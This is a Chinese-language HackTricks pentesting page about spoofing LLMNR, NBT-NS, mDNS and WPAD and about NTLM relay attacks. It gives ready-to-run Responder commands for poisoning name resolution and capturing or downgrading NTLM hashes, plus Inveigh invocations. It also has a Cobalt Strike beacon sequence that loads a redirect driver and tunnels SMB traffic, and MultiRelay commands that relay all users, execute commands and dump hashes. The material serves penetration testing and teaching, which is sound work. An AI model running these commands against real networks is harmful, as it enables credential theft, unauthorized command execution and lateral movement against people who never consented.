hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

8.6 KiB
Raw Blame History

伪造 LLMNR、NBT-NS、mDNS/DNS 和 WPAD 以及中继攻击

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

网络协议

本地主机解析协议

  • LLMNR、NBT-NS 和 mDNS
  • Microsoft 和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。同样Apple 和 Linux 系统使用 mDNS。
  • 由于它们在 UDP 上的未经身份验证的广播特性,这些协议容易受到拦截和伪造的影响。
  • Responder 可以通过向查询这些协议的主机发送伪造响应来用于冒充服务。
  • 可在此处找到有关使用 Responder 进行服务冒充的更多信息。

Web 代理自动发现协议WPAD

  • WPAD 允许浏览器自动发现代理设置。
  • 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来进行发现。
  • Responder 可以自动执行 WPAD 攻击,将客户端重定向到恶意的 WPAD 服务器。

Responder 用于协议毒化

  • Responder 是一种用于毒化 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型有选择性地进行响应,主要针对 SMB 服务。
  • 它预装在 Kali Linux 中,可在 /etc/responder/Responder.conf 中进行配置。
  • Responder 会在屏幕上显示捕获的哈希值,并将其保存在 /usr/share/responder/logs 目录中。
  • 它支持 IPv4 和 IPv6。
  • 可在此处获取 Responder 的 Windows 版本。

运行 Responder

  • 使用默认设置运行 Responderresponder -I <Interface>
  • 进行更积极的探测(可能会产生副作用):responder -I <Interface> -P -r -v
  • 通过技术捕获 NTLMv1 挑战/响应以便更轻松地破解:responder -I <Interface> --lm --disable-ess
  • 可以通过以下方式激活 WPAD 冒充:responder -I <Interface> --wpad
  • NetBIOS 请求可以解析为攻击者的 IP并可以设置身份验证代理responder.py -I <interface> -Pv

使用 Responder 进行 DHCP 毒化

  • 伪造 DHCP 响应可以永久毒化受害者的路由信息,提供了比 ARP 毒化更隐蔽的替代方案。
  • 需要精确了解目标网络的配置。
  • 运行攻击:./Responder.py -I eth0 -Pdv
  • 该方法可以有效地捕获 NTLMv1/2 哈希,但需要小心处理以避免网络中断。

使用 Responder 捕获凭据

  • Responder 将使用上述协议冒充服务,捕获凭据(通常是 NTLMv2 挑战/响应),当用户尝试对伪造的服务进行身份验证时。
  • 可尝试降级到 NetNTLMv1 或禁用 ESS 以便更轻松地破解凭据。

需要强调的是,使用这些技术应该在合法和道德的前提下进行,确保获得适当的授权,避免造成干扰或未经授权的访问。

Inveigh

Inveigh 是专为 Windows 系统设计的渗透测试人员和红队人员工具。它提供类似于 Responder 的功能,执行伪造和中间人攻击。该工具已从 PowerShell 脚本发展为 C# 二进制文件,主要版本为 InveighInveighZero。详细的参数和说明可以在wiki中找到。

Inveigh 可通过 PowerShell 运行:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

或者作为C#二进制文件执行:

Inveigh.exe

NTLM Relay Attack

这种攻击利用SMB身份验证会话访问目标机器如果成功则授予系统shell。关键先决条件包括

  • 认证用户必须在中继主机上具有本地管理员访问权限。
  • SMB签名应该被禁用。

445端口转发和隧道

在直接网络引入不可行的情况下需要转发和隧道化445端口上的流量。像PortBender这样的工具有助于将端口445的流量重定向到另一个端口在本地管理员访问用于驱动加载时至关重要。

在Cobalt Strike中设置和操作PortBender

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM中继攻击的其他工具

  • Metasploit:设置代理,本地和远程主机详细信息。
  • smbrelayx一个用于中继SMB会话并执行命令或部署后门的Python脚本。
  • MultiRelayResponder套件中的一个工具用于中继特定用户或所有用户执行命令或转储哈希。

每个工具都可以根据需要配置为通过SOCKS代理运行即使只有间接网络访问也能进行攻击。

MultiRelay操作

/usr/share/responder/tools 目录执行MultiRelay针对特定的IP或用户。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

强制 NTLM 登录

在 Windows 中,您可能能够强制一些特权帐户对任意机器进行身份验证。阅读以下页面以了解详情:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

参考资料

从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持 HackTricks 的其他方式: